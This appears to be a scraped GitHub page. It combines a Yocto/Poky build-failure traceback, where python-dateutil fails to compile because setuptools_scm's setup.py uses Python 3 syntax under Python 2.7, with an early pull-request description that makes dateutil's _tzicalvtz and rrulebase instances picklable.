"/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/dist.py", line 506, in fetch_build_eggs | replace_conflicting=True, | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/pkg_resources/init.py", line 774, in resolve | replace_conflicting=replace_conflicting | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/pkg_resources/init.py", line 1057, in best_match | return self.obtain(req, installer) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/pkg_resources/init.py", line 1069, in obtain | return installer(requirement) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/dist.py", line 573, in fetch_build_egg | return cmd.easy_install(req) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 673, in easy_install | return self.install_item(spec, dist.location, tmpdir, deps) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 699, in install_item | dists = self.install_eggs(spec, download, tmpdir) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 884, in install_eggs | return self.build_and_install(setup_script, setup_base) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 1152, in build_and_install | self.run_setup(setup_script, setup_base, args) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/command/easy_install.py", line 1138, in run_setup | run_setup(setup_script, args) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 253, in run_setup | raise | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/contextlib.py", line 35, in exit | self.gen.throw(type, value, traceback) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 195, in setup_context | yield | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/contextlib.py", line 35, in exit | self.gen.throw(type, value, traceback) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 166, in save_modules | saved_exc.resume() | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 141, in resume | six.reraise(type, exc, self._tb) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 154, in save_modules | yield saved | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 195, in setup_context | yield | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 250, in run_setup | _execfile(setup_script, ns) | File "/home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/recipe-sysroot-native/usr/lib/python2.7/site-packages/setuptools/sandbox.py", line 44, in _execfile | code = compile(script, filename, 'exec') | File "/tmp/easy_install-9yiumC/setuptools_scm-7.0.5/setup.py", line 20 | def scm_version() -> str: | ^ | SyntaxError: invalid syntax | ERROR: python setup.py build execution failed. | WARNING: exit code 1 from a shell command. | ERROR: Function failed: do_compile (log file is located at /home/207001271/rpi-tmp/tmp/work/aarch64-poky-linux/python-dateutil/2.7.2-r0/temp/log.do_compile.11322) ERROR: Task (/home/MCA_RDP_SRV/207001271/poky-pi-tmp/meta-openembedded/meta-python/recipes-devtools/python/python-dateutil_2.7.2.bb:do_compile) failed with exit code '1' NOTE: Tasks Summary: Attempted 3656 tasks of which 3650 didn't need to be rerun and 1 failed.

Summary: 1 task failed: /home/MCA_RDP_SRV/207001271/poky-pi-tmp/meta-openembedded/meta-python/recipes-devtools/python/python-dateutil_2.7.2.bb:do_compile Summary: There were 2 ERROR messages shown, returning a non-zero exit code. [email protected]:~/poky-pi-tmp/build$

FEEDBACK NEEDED

I'm opening an early pull request to get some feedback. I didn't write tests or news fragment yet because I'd like to know if I'm getting on the right track first. Thank you!

Summary of changes

Make instances of _tzicalvtz (and because of a dependency, also rrulebase) pickable.

Closes #1242

Pull Request Checklist

• [ ] Changes have tests
• [ ] Authors have been added to AUTHORS.md
• [ ] News fragment added in changelog.d. See CONTRIBUTING.md for details